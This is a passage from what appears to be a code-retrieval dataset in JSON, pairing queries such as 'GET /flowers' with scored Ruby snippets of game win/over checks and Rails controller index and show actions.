"score": "0.63534397",
"text": "def won?\n win = false\n win = true if total_score >= 100\n return win\n end",
"title": ""
},
{
"docid": "d94fc6fb2bf0c29e05888bde2ac6f588",
"score": "0.6337607",
"text": "def win_condition\nend",
"title": ""
},
{
"docid": "486b93b1cb7c0abb08f36b996fcc3fbb",
"score": "0.6335907",
"text": "def over?\n if won? or draw? or full?\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "9dc8fcffc06490c30024b23302651cdd",
"score": "0.6335496",
"text": "def over?\n if draw? || won?\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "738e2e59d492c369f56c0509200a03f8",
"score": "0.6320874",
"text": "def winner?\n self.user_wordcount.to_i >= Nanowrimo::GOAL\n end",
"title": ""
},
{
"docid": "3bcb69bb41964306ad7d180a3a60e888",
"score": "0.631916",
"text": "def over?\n self.won? || self.draw?\n end",
"title": ""
},
{
"docid": "a7d4f1811d1d5c450fb37a3083d5606c",
"score": "0.6309273",
"text": "def someone_won?(brd)\n !!detect_winner(brd)\n end",
"title": ""
},
{
"docid": "32ea45abcc8bc4e528339a0637825912",
"score": "0.6287516",
"text": "def over?\n draw? || won? ? true : false\n end",
"title": ""
},
{
"docid": "7e0557516adf8302da6f67151887ca11",
"score": "0.6284827",
"text": "def check_for_game_over\n if @proposed_code == @secret_code && @player_role_selection == 'breaker'\n puts 'YOU WIN!'\n true\n elsif @proposed_code == @secret_code && @player_role_selection == 'maker'\n puts 'COMPUTER WINS!'\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "92458e5f45ccafb9b46f02479981145b",
"score": "0.62821126",
"text": "def someone_won_round?\r\n !!winner\r\n end",
"title": ""
},
{
"docid": "65a4da5fc52f84871c27cd43a4acfb4e",
"score": "0.62782097",
"text": "def wins()\n\t\tself.as_regular_contestants.select{|c| c.win()}.size()\n\tend",
"title": ""
},
{
"docid": "e326486027fdbeae90b0c3da9bf5ce26",
"score": "0.6272941",
"text": "def over?\n\t\tdraw? || won? ? true : false\n\tend",
"title": ""
},
{
"docid": "3effbe5b4ceb4a92cf325a7da9f5cd13",
"score": "0.6272496",
"text": "def over?\n won? || draw?\n # if full? && won?\n # true\n # elsif won?\n # true\n # elsif !full? && !won?\n # false\n # elsif draw?\n # true\n # end\n end",
"title": ""
},
{
"docid": "8c547d7048930ce2979a2ed8ee648885",
"score": "0.62637293",
"text": "def match_won?\n if @sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n if @opponent.sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n end",
"title": ""
},
{
"docid": "56ffed23318f165921407094e85ef81a",
"score": "0.62636584",
"text": "def game_over?\n if victory?\n puts \"The code has been broken!\"\n true\n elsif (@turns == 12)\n puts \"The codebreaker failed.\"\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "b75b18b7f53713ce63b60d904d05acc8",
"score": "0.6250737",
"text": "def someone_won?\n !!winnning_marker\n end",
"title": ""
},
{
"docid": "ef541b0ebeaa3ee7f42fd58e089ecc6e",
"score": "0.6247501",
"text": "def over?\n if draw? \n return true\nelsif won?\n return true \nelse\n false \nend\nend",
"title": ""
},
{
"docid": "0212040eb8d3813f87520bcc1314814f",
"score": "0.6201298",
"text": "def set_won?\n if @games_won == 6 && @opponent.games_won < 5\n @sets_won += 1\n @games_won = 0\n @opponent.games_won = 0\n end\n if @games_won == 7 && @opponent.games_won < 7\n @sets_won += 1\n @games_won = 0\n @opponent.games_won = 0\n end\n end",
"title": ""
},
{
"docid": "19d1eb1e1f8d21bdfe49bf97de07c5c4",
"score": "0.6190892",
"text": "def record_won_game!\n if @game_points >= 5 && @game_points >= @opponent.game_points + 2\n\n record_won_set!\n end\n end",
"title": ""
},
{
"docid": "edbb9502ce4518cdd5613d04ee0448d7",
"score": "0.6189421",
"text": "def win_round?(player_choice, computer_choice)\n WIN_RULES.any? do |choice, player_wins_if|\n choice == player_choice && player_wins_if[:win_conditions].include?(computer_choice)\n end\nend",
"title": ""
},
{
"docid": "6c0055bdb0c1956d7d70dc6220b3e2d4",
"score": "0.6189066",
"text": "def win()\n\t return false if (self.score.nil? or self.opponent.score.nil?)\n\t self.score() ? self.score().to_i > self.opponent.score().to_i : false\n\tend",
"title": ""
},
{
"docid": "fc1754bf712893d6f921690b4bacd48a",
"score": "0.6186823",
"text": "def gameover?\n full? or not check_winner.nil?\n end",
"title": ""
},
{
"docid": "647d6a249a98847893242ce2f9026878",
"score": "0.6171746",
"text": "def over?\n if won?\n return true\n elsif draw?\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "b0b92dbff68c04b71be682ce9f06cedc",
"score": "0.6165635",
"text": "def won_game?\n if @points > @opponent.points + 1 && @points > 3\n @points = 0\n opponent.points = 0\n return true\n end\n end",
"title": ""
},
{
"docid": "ddf010af66a49edf2e6e277b694d02cd",
"score": "0.61641794",
"text": "def won?\n total_score > 100 ? true : false\n end",
"title": ""
},
{
"docid": "d9cf4321c348733430de760594535d94",
"score": "0.6160024",
"text": "def win?\n @strategy.win?\n end",
"title": ""
},
{
"docid": "d9cf4321c348733430de760594535d94",
"score": "0.6160024",
"text": "def win?\n @strategy.win?\n end",
"title": ""
},
{
"docid": "a09ef0bf149ee6cc98e5ec97f61451c3",
"score": "0.6155939",
"text": "def draw?\n !(won?) && (full?)\nend",
"title": ""
},
{
"docid": "0f8ffdd65eb1b87b5a02a1e41ad8e5cf",
"score": "0.6148779",
"text": "def pbCriticalOverride(attacker,opponent)\n return false\n end",
"title": ""
},
{
"docid": "331d4029abeb3f3ed5bb33ba992ee4c5",
"score": "0.6148141",
"text": "def won?\n return total_score > 100 ? true : false\n end",
"title": ""
},
{
"docid": "24a1df14171bfa20f0c2f5cd3493bb47",
"score": "0.61417407",
"text": "def game_over\n remaining_player.count == 1\n end",
"title": ""
},
{
"docid": "5316422c8ecb3d0f33adec07f7db17b6",
"score": "0.6135719",
"text": "def won?\n #won?: If the player has over 100 points, returns true, otherwise returns false\n if total_score > 100\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "218e810b3dba9dc51605cccdc9dce6d8",
"score": "0.61322236",
"text": "def over?(board)\nif won?(board) != nil || draw?(board) == true\n return true\nend\nend",
"title": ""
},
{
"docid": "717ecea30880da137a8e7f07b8d592a9",
"score": "0.61300015",
"text": "def staying_pick_wins?(pick)\n\t\twon?(pick)\n\tend",
"title": ""
},
{
"docid": "76c89bba086a16f548d0f1349cf244ce",
"score": "0.6116575",
"text": "def over?(board)\n won?(board) || full?(board)\n\n # draw?(board) || !(won?(board) == nil)\n\n # true if draw?(board) == true || !(won?(board) == nil)\nend",
"title": ""
},
{
"docid": "6495c35a3632ff71b313432686e9b9cf",
"score": "0.6114833",
"text": "def allowed?(decision)\n if decision[:action] == :draw\n true\n elsif decision[:action] == :play\n card = decision[:card]\n card.value?(WILD_CARD) || card.suit?(suit_at_top_of_discard_pile) || card.value?(value_at_top_of_discard_pile)\n else\n false\n end\n end",
"title": ""
},
{
"docid": "f91edddb1fe7a25b51f05b9e307dedc0",
"score": "0.6111992",
"text": "def won?\n\t\twon = false\n\t\twon = true if (ended? && @guesses > 0)\n\t\twon\n\tend",
"title": ""
},
{
"docid": "3ab28725049009e47d6f13e843410e99",
"score": "0.6108408",
"text": "def over?\n won? || board.full? || draw?\n end",
"title": ""
},
{
"docid": "091bb1ba993711ad7e09eb06e793e97c",
"score": "0.61067075",
"text": "def over?()\n if won?() || draw?()\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "efe71de093e57d210118cf9e067169df",
"score": "0.60975826",
"text": "def over?\n if draw? == true || won? != false\n return true\n elsif full? == false\n return false\n end\n end",
"title": ""
},
{
"docid": "0b3f07a849e3156ae593f213d34b8d04",
"score": "0.60971165",
"text": "def won?\n WIN_COMBINATIONS.detect do |wc|\n @board[wc[0]] == @board[wc[1]] && @board[wc[1]] == @board[wc[2]] && position_taken?(wc[0])\n end \n end",
"title": ""
},
{
"docid": "99cab588f5d2741a3ef91ad903673150",
"score": "0.6094504",
"text": "def check_end_of_game\n return has_this_player_won?(COMPUTER) ? COMPUTER : (has_this_player_won?(HUMAN) ? HUMAN : false)\n end",
"title": ""
},
{
"docid": "5331b854f4c3699c5b2d02deae4c41db",
"score": "0.60919106",
"text": "def game_over?\n true\n end",
"title": ""
},
{
"docid": "7d0e8fda5385dc4f7557f1c6c812229a",
"score": "0.6090595",
"text": "def won?\n if @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\t\"You win!\"\n \t\treturn true\n \telse\n \"You haven't won yet.\"\n return false \n end\n end",
"title": ""
},
{
"docid": "29db125738622ee08c07ac9018137711",
"score": "0.6085545",
"text": "def judge_winner\n\t\tif attacker.army.all_curr_hp.zero?\n\t\t\tresult.winner = defender\n\t\t\twinner = defender\n\t\telsif defender.army.all_curr_hp.zero?\n\t\t\tresult.winner = attacker\n\t\t\twinner = defender\n\t\tend\n\tend",
"title": ""
},
{
"docid": "39860c88ab6d62f8f1683f1fa0ef5488",
"score": "0.60847",
"text": "def evaluate_winner\n\t\treturn 100 if win?(\"x\")\n\t\treturn -100 if win?(\"o\")\n\t\treturn 0 if blocked?\n\tend",
"title": ""
},
{
"docid": "1e9197359983d2db862207da98e5c35d",
"score": "0.6084017",
"text": "def over?(board)\n if (full?(board) == true || draw?(board) == true || won?(board) != false) then\n true\n end\nend",
"title": ""
},
{
"docid": "8346dd4d52e9b5043db7dd118e8ffb6f",
"score": "0.60822195",
"text": "def over?\r\n if self.draw? == true || self.won? != false\r\n return true\r\n end\r\n false\r\n end",
"title": ""
},
{
"docid": "3acb71f63c5df5a3d2e01c6a11b9e4e3",
"score": "0.60756016",
"text": "def game_over?\n remaining_players == 1\n end",
"title": ""
},
{
"docid": "2bdbac5466f77dcffbdb311c05ba3be9",
"score": "0.6069656",
"text": "def over?(board)\n if won?(board) != false\n puts \"won board is not false\"\n end\n\n if full?(board) == true || draw?(board) == true || won?(board) != false\n true\n end\nend",
"title": ""
}
] |
d5086cf576eead7e0fd4e05e568a27b5
|
GET /flowers GET /flowers.json
|
[
{
"docid": "3c6e5f4164ce068d63e3403601941770",
"score": "0.53395003",
"text": "def index\n \n @users = User.all\n \n # if params[:user][:email] and params[:flower][:user_id] \n # @flowers = Flower.search(params[:flower][:user_id])\n # else\n # @flowers = Flower.all \n # end\n #@flowers = Flower.build(params[current_user])\n \n @flowers = Flower.all\n \n \n end",
"title": ""
}
] |
[
{
"docid": "c5f1792d3829a6450b10d3696b743253",
"score": "0.7283035",
"text": "def index\n @flowers = Flowers.all\n\n end",
"title": ""
},
{
"docid": "ad07d11dd5ad96379bc4bd7aa1267f80",
"score": "0.6550597",
"text": "def index\n @beerflows = Beerflow.all\n end",
"title": ""
},
{
"docid": "4c773ef125dae3c1ac0d0e5441e66fb7",
"score": "0.6409148",
"text": "def index\n\t\t@title = \"Главная\"\n\t\t@flowers = Flower.all\n\n\t\t@parsed_data = {}\n\t\t@flowers.each do |flower|\n\t\t\tpoints = take_data(flower.cosmId)\n\t\t\t@parsed_data[flower.cosmId] = get_points(points)\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @flowers }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a7d897b29df40395fbc29f7328d8af83",
"score": "0.6245698",
"text": "def index\n @free_flowers = FreeFlower.all\n end",
"title": ""
},
{
"docid": "41396e6b7ae408080eaac0335e88850c",
"score": "0.6142903",
"text": "def show\n @flow = Flow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flow }\n end\n end",
"title": ""
},
{
"docid": "b6e57174cb69cb6659e2e5bb315caadc",
"score": "0.6101079",
"text": "def index\n beers = @beer.get_beers(beer_params.to_h, @current_user)\n\n render json: {\n status: beers[:status],\n beers: beers[:beers],\n errors: beers[:errors]\n }\n end",
"title": ""
},
{
"docid": "ca5bc320fccf31090d333d4f70ec3581",
"score": "0.6041014",
"text": "def show\n @flyer = Flyer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flyer }\n end\n end",
"title": ""
},
{
"docid": "fe854865c5b76eb863642255e42e93da",
"score": "0.59502965",
"text": "def index\n @beers = Beer.all\n respond_to do |f|\n f.html\n f.json { render json: @beers}\n end\n end",
"title": ""
},
{
"docid": "2fbe7c20093a79464ec9c12ff513a578",
"score": "0.5919976",
"text": "def show\n\t\t@title = \"Просмотр\"\n\t\t@flower = Flower.find(params[:id])\n\n\t\tdata = take_data(@flower.cosmId);\n\n\t\t@parsed_data = get_points(data)\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @flower }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "55661ff5a7a662de6c34c647d1e2ee73",
"score": "0.5885889",
"text": "def index\n @beers = Beer.all\n\n render json: @beers\n end",
"title": ""
},
{
"docid": "4e78dc3a17211514969682c82575cf39",
"score": "0.584435",
"text": "def show\n @beer = Beer.find(params[:id])\n render json: @beer\n end",
"title": ""
},
{
"docid": "2c79ae9cd2c6127b8229019cbb16abd4",
"score": "0.5844216",
"text": "def index\n @lhfe_flights = LhfeFlight.upcoming\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lhfe_flights }\n end\n end",
"title": ""
},
{
"docid": "02c675607098a6bc340fd23a3ae539d6",
"score": "0.58069915",
"text": "def feed\n client = Feedlr::Client.new(oauth_access_token: ENV[\"FEEDLR_SECRET_KEY\"])\n\n @entries = client.search_feeds('economist')\n render json: @entries\n end",
"title": ""
},
{
"docid": "c6a3b55d57210986049ca9abf45454d0",
"score": "0.57999486",
"text": "def find\n @fruits = params[:fruits].split(',')\n @veggies = params[:veggies].split(',')\n @herbs = params[:herbs].split(',')\n\n @flowers = [ ]\n @herbs.each do |herb|\n @flowers += Flower.where(\"companions like ?\", \"%#{herb}%\")\n end\n\n @fruits.each do |fruit|\n @flowers += Flower.where(\"companions like ?\", \"%#{fruit}%\")\n end\n\n @veggies.each do |veggie|\n @flowers += Flower.where(\"companions like ?\", \"%#{veggie}%\")\n end\n\n\n @flowers.uniq\n\n render json: @flowers\n end",
"title": ""
},
{
"docid": "ed2265f960c910b24747dca28ca08b27",
"score": "0.57935077",
"text": "def index\n @flows = Flow.all\n end",
"title": ""
},
{
"docid": "04d7eb483766557affac9d902e274b35",
"score": "0.577848",
"text": "def index\n @flyers = Flyer.all\n end",
"title": ""
},
{
"docid": "4da92827112628fe8c401e8303dc6f67",
"score": "0.5768374",
"text": "def index\n render json: Beer.all\n end",
"title": ""
},
{
"docid": "da8a87bad843d98c79738c90e88b550f",
"score": "0.571993",
"text": "def index\n @beers = Beer.all.order(:name)\n render json: @beers\n end",
"title": ""
},
{
"docid": "5885a5e51dbd977fad683383ef203b7f",
"score": "0.5716726",
"text": "def show\n render json: @fabric\n end",
"title": ""
},
{
"docid": "d5f175a04a4b35ac6d57066bcd18fdb4",
"score": "0.5709853",
"text": "def index\n @feeders = Feeder.all\n end",
"title": ""
},
{
"docid": "1443dc5d4061ca4f662434d90769e26d",
"score": "0.57005775",
"text": "def show\n @beer = Beer.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"title": ""
},
{
"docid": "f302ca6225dbd256b6c5cd84cf912722",
"score": "0.5687644",
"text": "def index\n @funnels = Funnel.list\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @funnels }\n end\n end",
"title": ""
},
{
"docid": "32439e920d5c924ea41c1731c5bced46",
"score": "0.56770474",
"text": "def show\n @beer = Beer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"title": ""
},
{
"docid": "32439e920d5c924ea41c1731c5bced46",
"score": "0.56770474",
"text": "def show\n @beer = Beer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beer }\n end\n end",
"title": ""
},
{
"docid": "42aaf241ae5c97ed6bc175744668117f",
"score": "0.5671293",
"text": "def festival_events\n festival = Festival.find(params[\"id\"])\n render json: festival.events\n end",
"title": ""
},
{
"docid": "fe67db25c8d6db83c952076f60db0c71",
"score": "0.5652733",
"text": "def index\n @clinic_flows = ClinicFlow.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clinic_flows }\n end\n end",
"title": ""
},
{
"docid": "8a3909d88579c56307271a9b26ef32ea",
"score": "0.56424236",
"text": "def show\n render json: @beer\n end",
"title": ""
},
{
"docid": "edd7686b235560ec207be5f1cf32078f",
"score": "0.5639205",
"text": "def index\n feeds = FeedServices::FeedFinder.new(\n user: current_user_or_anonymous,\n latitude: params[:latitude],\n longitude: params[:longitude],\n types: types,\n show_past_events: params[:show_past_events],\n partners_only: params[:partners_only],\n time_range: time_range,\n distance: params[:distance],\n announcements: params[:announcements],\n page_token: params[:page_token],\n legacy_pagination: legacy_pagination,\n before: params[:before],\n ).feeds\n\n render json: ::V1::LegacyFeedSerializer.new(feeds: feeds, user: current_user_or_anonymous, base_url: request.base_url, key_infos: api_request.key_infos).to_json, status: 200\n end",
"title": ""
},
{
"docid": "e4160bcb8b35a7feeb296eb498351320",
"score": "0.56351644",
"text": "def index\n @freshers = Fresher.all\n end",
"title": ""
},
{
"docid": "f3d27d4ab8f471214870263ebb2d61d1",
"score": "0.5626045",
"text": "def show\n @thrower = Thrower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thrower }\n end\n end",
"title": ""
},
{
"docid": "1474f33b55eb45363092df5eb7b0ac61",
"score": "0.5605047",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render json: @fighter }\n end\n end",
"title": ""
},
{
"docid": "1511ab0b6f69ba454b5489540b616e1e",
"score": "0.55999243",
"text": "def show\n @fighter = Fighter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fighter }\n end\n end",
"title": ""
},
{
"docid": "1f6b4730cd83e73d74168c8a63db0ba5",
"score": "0.5587769",
"text": "def show\n @flowchart = Flowchart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flowchart }\n end\n end",
"title": ""
},
{
"docid": "34795941dd54b35dcbbbcd54457187aa",
"score": "0.5582628",
"text": "def show\n @fosterer = Fosterer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fosterer }\n end\n end",
"title": ""
},
{
"docid": "89069bb21b4b46cacaa512c61f28b40c",
"score": "0.5574725",
"text": "def show\n @fab_deliverable = FabDeliverable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fab_deliverable }\n end\n end",
"title": ""
},
{
"docid": "ec25c8f2421aa8474573acdb200de330",
"score": "0.55686885",
"text": "def show\n @travelfee = Travelfee.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @travelfee }\n end\n end",
"title": ""
},
{
"docid": "0f7dcff08ad4fd4b4bc03665eb7a1ede",
"score": "0.5567705",
"text": "def index\n @flowitems = Flowitem.all\n end",
"title": ""
},
{
"docid": "3ee94a49606eea5aeb0ab616faa5012f",
"score": "0.5567516",
"text": "def trending_beers(options={})\n get('/trending', options)\n end",
"title": ""
},
{
"docid": "19e6af041d0edd4de9e2c2126cb87d38",
"score": "0.5565812",
"text": "def show\n @truck_fleet = TruckFleet.find(params[:id])\n @fleets = @truck_fleet.fleets\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @truck_fleet }\n end\n end",
"title": ""
},
{
"docid": "e00d6543f7ef0f3b3a4286c4d0bb5482",
"score": "0.55596644",
"text": "def index\n @walkers = Walker.all\n\n render json: @walkers\n end",
"title": ""
},
{
"docid": "379e4a25c0fe58f61ce60298cfef7b69",
"score": "0.555792",
"text": "def show\n @clinic_flow = ClinicFlow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinic_flow }\n end\n end",
"title": ""
},
{
"docid": "a39ea480674b7980982052ca63f16c72",
"score": "0.5541945",
"text": "def show\n @travelfee = Travelfee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @travelfee }\n end\n end",
"title": ""
},
{
"docid": "5c79a8d91e6439afc4a5dcca25683b04",
"score": "0.5535388",
"text": "def show\n @feast = Feast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feast }\n end\n end",
"title": ""
},
{
"docid": "63b1ffc3142ece915971b08f36a62655",
"score": "0.55339205",
"text": "def get_brand_flowers_with_http_info(ocpc, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: BrandsApi.get_brand_flowers ...\"\n end\n # verify the required parameter 'ocpc' is set\n if @api_client.config.client_side_validation && ocpc.nil?\n fail ArgumentError, \"Missing the required parameter 'ocpc' when calling BrandsApi.get_brand_flowers\"\n end\n if @api_client.config.client_side_validation && opts[:'sort'] && !['-createdAt', 'createdAt', '-updatedAt', 'updatedAt', '-name', 'name'].include?(opts[:'sort'])\n fail ArgumentError, 'invalid value for \"sort\", must be one of -createdAt, createdAt, -updatedAt, updatedAt, -name, name'\n end\n # resource path\n local_var_path = \"/brands/{ocpc}/flowers\".sub('{' + 'ocpc' + '}', ocpc.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2006')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BrandsApi#get_brand_flowers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "e19d6a2c9d8ba8670bf820a53d8d01b2",
"score": "0.55239207",
"text": "def all_beers\n \tall_beers_beer = Beer.where(user: @current_user)\n\n \trender json: all_beers_beer, adapter: :json_api, each_serializer: BeerSerializer\n\n end",
"title": ""
},
{
"docid": "dc92ed5c4828a9fc48243c48850b6aec",
"score": "0.55203944",
"text": "def show\n @funnel_stage = FunnelStage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funnel_stage }\n end\n end",
"title": ""
},
{
"docid": "2a6116a4a84e38c72b623fcd822af430",
"score": "0.55083793",
"text": "def show\n @flyer = Flyer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @flyer }\n format.json { render :json => @flyer }\n end\n end",
"title": ""
},
{
"docid": "1574494d51d328acb231a269d2e04193",
"score": "0.550579",
"text": "def index\n @flights = Flight.all\n\n respond_to do |format|\n format.html {}\n # format.json { render :json => @flights }\n format.json { render :json => @flights }\n end\n end",
"title": ""
},
{
"docid": "52da83b4f107c382a5c08a05e3108be3",
"score": "0.5498511",
"text": "def list_tflows(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/tflow/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"title": ""
},
{
"docid": "98f78ddaabfb7e1f8cdd14ef9c3523dc",
"score": "0.5491895",
"text": "def show\n @traveler = Traveler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @traveler }\n end\n end",
"title": ""
},
{
"docid": "92b08c4df7bf016c85b79b287fd87c9c",
"score": "0.5491452",
"text": "def arrivals\n Project.hit 35\n @departing = false\n @from = params[:from]\n @to = params[:to]\n\n unless @from.nil? and @to.nil?\n @trains = get_trains(@from, @to, @departing)\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @trains, callback: params[:callback] }\n format.xml { render xml: @trains }\n end\n end",
"title": ""
},
{
"docid": "3b97b13eaf1e5dd27f1a04d64ef558af",
"score": "0.5482973",
"text": "def index\r\n @edges = Edge.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @edges }\r\n end\r\n end",
"title": ""
},
{
"docid": "f746a473531b83976b3c21f02c5c5da9",
"score": "0.5475509",
"text": "def campaigners\n return get(\"/campaigners/list\")\n end",
"title": ""
},
{
"docid": "45e509f8d5fb2dbfd9db52ded70798fc",
"score": "0.5475063",
"text": "def index\n @process_flows = ProcessFlow.all\n\n respond_to do |format|\n format.html\n # format.json { render json: }\n end\n\n\n end",
"title": ""
},
{
"docid": "7517f72aba32fc82bce533cea793f3c7",
"score": "0.54735786",
"text": "def show\n @deliverer = Deliverer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deliverer }\n end\n end",
"title": ""
},
{
"docid": "e7c96af3393e05cdcb4c5325a679fbe3",
"score": "0.54673254",
"text": "def show\n @branch_flyer = BranchFlyer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @branch_flyer }\n end\n end",
"title": ""
},
{
"docid": "f31e8254e60b625006445222a8cd6e25",
"score": "0.546567",
"text": "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :q => (x = opts.delete(:q); x.nil? ? nil : HttpClient::Preconditions.assert_class('q', x, String))\n }.delete_if { |k, v| v.nil? }\n r = @client.request(\"/reference/carriers\").with_query(query).get\n r.map { |x| ::Io::Flow::V0::Models::Carrier.new(x) }\n end",
"title": ""
},
{
"docid": "f26490697a3a3ac1745ddceb5f14f233",
"score": "0.54523075",
"text": "def beers_list\n \t@url = 'https://api.punkapi.com/v2/beers' \t\t\n \tresponse = RestClient.get beer_url\n \tjson_response = JSON.parse response.body\n\n \tcreate_list = ::Beers::Create.call(\n \t\tuser: @current_user,\n \t\tbeers_data: json_response\n \t)\n \t\n \trender json: create_list.beers, adapter: :json_api, each_serializer: BeerSerializer\n end",
"title": ""
},
{
"docid": "086d0c97b2cec5057abb75997d1cfbad",
"score": "0.5433444",
"text": "def index\n # url = \"https://raw.githubusercontent.com/lewagon/flats-boilerplate/master/flats.json\"\n # @flats = JSON.parse(open(url).read)\n end",
"title": ""
},
{
"docid": "fee26d1f575073facd95e48e0c038ca1",
"score": "0.54321194",
"text": "def get(path)\n # FAKING RESPONSE\n [{ id: 1, name: 'Jane' }, { id: 2, name: 'John' }].to_json\n end",
"title": ""
},
{
"docid": "44249e3384b290582a4ea520ac39070a",
"score": "0.5431899",
"text": "def new\n @flyer = Flyer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flyer }\n end\n end",
"title": ""
},
{
"docid": "a15a58c34adcb3339818b116afdaf53f",
"score": "0.5430167",
"text": "def pipeline_by_stages\n render json: pipeline_by_stages_deals\n end",
"title": ""
},
{
"docid": "30dc25df4f3790feed2c73cf407effc8",
"score": "0.5420361",
"text": "def index\n @festivals = Festival.all\n end",
"title": ""
},
{
"docid": "f48090972e5a74a6d13f97325b08bc95",
"score": "0.54162234",
"text": "def index\n if params[:shipper]\n @loads = current_user.loads.where(shipper_id: params[:shipper])\n elsif params[:carrier]\n @loads = current_user.loads.where(carrier_id: params[:carrier])\n else\n @loads = current_user.loads.all\n end\n\n json_response(@loads)\n end",
"title": ""
},
{
"docid": "80839beb69b0d5aabd182aee7cceac6f",
"score": "0.54146147",
"text": "def flow_response\n url = \"http://#{$config[:flow_http_host]}:#{$config[:flow_http_port]}/#{$menu_name}/#{$session_id}/#{$choice}\"\n puts \"Calling url: #{url}\"\n JSON.load(open(url).read)\nend",
"title": ""
},
{
"docid": "6f9c08e7f8bae206f89112f227c7d503",
"score": "0.5410474",
"text": "def index\n @title = \"All Edges\"\n @edges = Edge.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @edges }\n end\n end",
"title": ""
},
{
"docid": "1a09b87158c93a5b54527aa1de8295c6",
"score": "0.5410161",
"text": "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :q => (x = opts.delete(:q); x.nil? ? nil : HttpClient::Preconditions.assert_class('q', x, String))\n }.delete_if { |k, v| v.nil? }\n r = @client.request(\"/reference/carrier/services\").with_query(query).get\n r.map { |x| ::Io::Flow::V0::Models::CarrierService.new(x) }\n end",
"title": ""
},
{
"docid": "c58fde7fedd6d0ac02018032c13f5042",
"score": "0.5409664",
"text": "def index\n @farmings = Farming.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @farmings }\n end\n end",
"title": ""
},
{
"docid": "4ad44ee999894aac09f12c3541107733",
"score": "0.5405151",
"text": "def feed\n # if we have finished then there are more pages of results to be retrieved from the feed\n items = session[:finished_feeding] ? nil : get_tint_feed(session[:next_page])\n\n respond_to do |format|\n format.json { render json: items }\n end\n end",
"title": ""
},
{
"docid": "f4ad17bfbbe7a2b241a2152da1c659a2",
"score": "0.5403364",
"text": "def create\n @beerflow = Beerflow.new(beerflow_params)\n\n respond_to do |format|\n if @beerflow.save\n format.html { redirect_to @beerflow, notice: 'Beerflow was successfully created.' }\n format.json { render :show, status: :created, location: @beerflow }\n else\n format.html { render :new }\n format.json { render json: @beerflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d062c98de7fbfe1985f482258c72e1b",
"score": "0.5403051",
